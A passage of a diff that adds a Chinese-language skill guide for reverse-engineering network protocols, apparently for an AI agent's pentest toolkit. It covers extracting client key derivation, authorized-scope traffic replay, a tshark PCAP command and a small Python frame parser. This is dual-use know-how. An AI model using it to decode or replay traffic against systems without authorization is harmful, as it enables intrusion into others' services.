+□ 加密：找密钥派生（客户端 so/dll/JS）→ 联合 ida-reverse / js-reverse / apk-reverse
+□ 重放：仅在授权 scope 内；先无害字段再敏感操作
+```
+
+### Phase 4 — 产物
+
+```text
+MUST 产出：
+- 消息类型表（name / opcode / fields）
+- 至少 1 条可复现的解码命令或脚本
+- Evidence：原始 hex 摘录 + 解码结果（脱敏）
+```
+
+## 工具链
+
+| 工具 | 必需 | 用途 | 自举 |
+|------|------|------|------|
+| tshark / Wireshark | 强烈建议 | PCAP 解析 | 手动 / winget |
+| Python3 | 是 | 解码脚本 | 系统 |
+| blackboxprotobuf | 可选 | 未知 protobuf | pip |
+| ImHex / 010 | 可选 | 结构模板 | 手动 |
+| IDA / r2 / Ghidra | 按需 | 客户端序列化函数 | 见对应 skill |
+
+## 参考
+
+- `references/protocol-workflow.md` — 帧布局与 Protobuf 速查
+- 相关：`../ida-reverse/` `../js-reverse/` `../firmware-pentest/` `../pentest-tools/`
+
+## 路由上下文
+
+**上游**: `MASTER-ROUTING` R21 · `routing.md`  
+**下游**: 需客户端算法 → `ida-reverse`/`js-reverse`；需利用重放 → `pentest-tools`/`api-security`  
+**同级**: `malware-analysis`（C2 协议）、`digital-forensics`（流量取证）
+
+## 任务完成自检
+
+- [ ] 是否还原了消息布局或状态机（而非只贴 hex）？
+- [ ] 是否有可复现解码命令？
+- [ ] 是否遵守 scope / 脱敏？
+- [ ] 是否回写 field-journal / 报告 Checklist？
+
+## Limitations
+
+- Encrypted or session-keyed protocols need key material first.
+- Stateful protocols may require long, varied capture sessions.
+
+> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).

package/bundled-skills/protocol-reverse/references/protocol-workflow.md

@@ -0,0 +1,29 @@
+# Protocol reverse 速查
+
+> 适用：`protocol-reverse` skill · 2026-07-18
+
+## 常见布局模式
+
+| 模式 | 特征 | 提示 |
+|------|------|------|
+| 定长头+体 | 前 2/4 字节长度 | 注意是否包含头长 |
+| 魔数 | 固定 `0xDEAD` 等 | 便于流再同步 |
+| TLV | type-length-value 重复 | type 枚举即消息字典 |
+| Protobuf | 字段号 varint | `protoc --decode_raw` |
+| 加密帧 | 熵高、无明文 URL | 先找 nonce/IV 邻域 |
+
+## 最小 Python 骨架
+
+```python
+import struct
+def parse_frame(buf: bytes):
+    magic, length, msg_type = struct.unpack_from(">IHI", buf, 0)
+    body = buf[10:10+length]
+    return {"magic": magic, "type": msg_type, "body": body}
+```
+
+## PCAP 提取 TCP payload
+
+```bash
+tshark -r cap.pcap -Y "tcp.port==4433" -T fields -e tcp.payload | head
+```